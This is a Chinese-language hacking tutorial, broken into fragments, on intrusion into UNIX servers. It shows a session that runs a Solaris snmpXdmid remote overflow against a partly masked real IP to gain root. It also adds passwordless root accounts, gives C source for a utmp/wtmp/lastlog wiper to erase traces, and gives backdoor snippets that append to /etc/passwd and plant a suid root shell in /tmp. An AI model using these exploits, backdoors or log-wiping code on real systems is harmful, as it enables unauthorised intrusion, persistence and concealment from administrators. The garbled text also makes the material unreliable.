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1:常见UNIX版本:
SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,
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2:简单介绍几个
sunos&solaris SUN本来想用solaris取代sunos
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Freebsd是著名
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Linux是
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3:UNIX操作系统
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(1)多用户和多任务;(2)可移植性;(3)树行结构
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4:尤为突出
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(1)稳定可靠性高;(2)网络功能强;(3)开发性好;(4)强大
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2:入侵目
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1:学习UNIX
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2:做跳板或以此捕捉更多UNIX肉鸡;
3:越权得到某些正常请求下得不到
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4:攻击破坏或以此作为利器来破坏其他系统;
5:更多......
3:入侵思路方法
1:寻找目标
工具:supperscan
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supperscan:扫描23
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LANguard..作简单设置
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流光:利用高级扫描
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其他思路方法
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(介绍说明:很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现
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2:开始入侵
(1)溢出(所有有关UNIX
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A:远程溢出
溢出?呵呵
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a1:考虑到很多朋友使用windows
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a2:Sun Solaris 5.7 Sparc远程溢出
搜索...终于让我找到了
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telnet 66.*.146.48 ----->>这是我
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SunOS 5.8
login: ply
Password:
Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$ tmp/.sh ----->>当时溢出时做
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# ls
bin data etc initrd mnt proc sbin usr
boot dev home lib misc opt root tmp var
xfn skip
# cat >snmp.c
....... ----->>太长了
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# gcc -o snmp snmp.c ----->>用gcc编译
snmp.c: In function `
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snmp.c:181: warning: passing arg 3 of po
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snmp.c:181: warning: passing arg 4 of po
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snmp.c:181: warning: passing arg 5 of po
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# ls
bin data etc initrd mnt proc sbin snmp usr
boot dev home lib misc opt root snmp.c tmp var
# ./snmp
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
usage: ./s address [-p port] -v 7|8
#./snmp 216.*.45.63 -v 7 ---->开始溢出!!
DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
id
uid=0(root) gid=0(root) ----->>是root哦!
echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>加个用户先!
echo "ply::::::::" >> /etc/shadow
... ----->>还想干什么就继续吧!
B:本地溢出
本地溢出需要
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流光扫描...
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telnet *.174.62.135
Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,容易搞定!
Kernel 2.2.12-20kr2smp _disibledevent=>UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
The Shadow Penguin Security ( http://shadowpenguin.backsection.net )
Written by UNYUN ( u
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*/
#
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#
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#
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#
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#
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#
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#
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#end
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#
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#
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#
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#end
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#
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#
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#
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#
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#
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#
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#
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#
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#
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#
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#
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#
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#
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char *path,*user;
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{
struct utmp utmp_ent;
#
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struct utmpx utmpx_ent;
#end
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void *ent;
char *un;
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ent=(void *)&utmp_ent;
#
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un=(char *)&utmp_ent.ut_user;
#
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un=(char *)&utmp_ent.ut_name;
#end
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sz=
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}
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#
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ent=(void *)&utmpx_ent;
un=(char *)&utmpx_ent.ut_user;
sz=
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#end
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}
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while(read(fd,ent,sz)>0)
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mem
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lseek(fd,-sz,SEEK_CUR);
write(fd,ent,sz);
c
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}
close(fd);
pr
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}
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char *path,*user;
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{
struct passwd *p;
struct lastlog ent;
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char buffer[MAX_FPATH];
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mem
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lseek(fd,p->CNSU_uid*
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write(fd,&ent,
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close(fd);
pr
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}
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char *argv
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{
char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
char f_lastlog[MAX_FPATH];
struct utsname utname;
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pr
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exit(1);
}
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pr
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exit(1);
}
uname(&utname);
strcpy(f_wtmpx,""); strcpy(f_utmpx,"");
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#
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strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=0;
#
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strcpy(f_utmp, SUNOS4_UTMP);
strcpy(f_wtmp, SUNOS4_WTMP);
strcpy(f_lastlog, SUNOS4_LASTLOG);
lastlog_type=0;
#end
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}
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|| !strcmp(utname.sysname,"FreeBSD")){
strcpy(f_utmp, BSD_UTMP);
strcpy(f_wtmp, BSD_WTMP);
strcpy(f_lastlog, BSD_LASTLOG);
}
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#
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strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=1;
#
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pr
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#end
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}
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pr
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wipe_log(f_utmp, argv[1],0);
wipe_log(f_utmpx,argv[1],1);
wipe_log(f_wtmp, argv[1],0);
wipe_log(f_wtmpx,argv[1],1);
wipe_lastlog(f_lastlog,argv[1],lastlog_type);
}
^d
[root@ns webmaster]# gcc -o wipe wipe.c
[root@ns webmaster]# ./wipe webmaster ----->>./wipe username就可以扫掉脚印了!
(2)扫描弱口令或暴力破解口令
A:弱口令使用于大范围搜捕
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B:暴力破解适用于针对某
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(3)利用特洛伊木马窃取口令(我没有这么做过
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(4)网络监听和数据截取(大家和我
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(5)这里给大家几个简单
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a1:口令文件 passwd 中增加
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#
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{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fpr
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}
a2:在 /tmp 目录下放置 suid shell
#
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{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
a3:管理员偶然地输入cd..时向/etc/passwd文件添加
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#
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#
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{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fpr
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system("cd");
}
(6)攻击(特别是溢出)
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4:补充介绍说明
1:如用supperscan发现某ip段存在大量unix主机
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2:到信息产业发达
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3:若发现telnet不上上次成功溢出
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5:强调介绍说明
不要简单地认为你已经轻易地檫干净了你
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1:查找系统文件和系统培植文件
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2:查找数据文件
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3:查找入侵留下
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4:检查日志文件
5:查找出网络监听
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6:检查局域网上
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6:本文中存在
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7:警告
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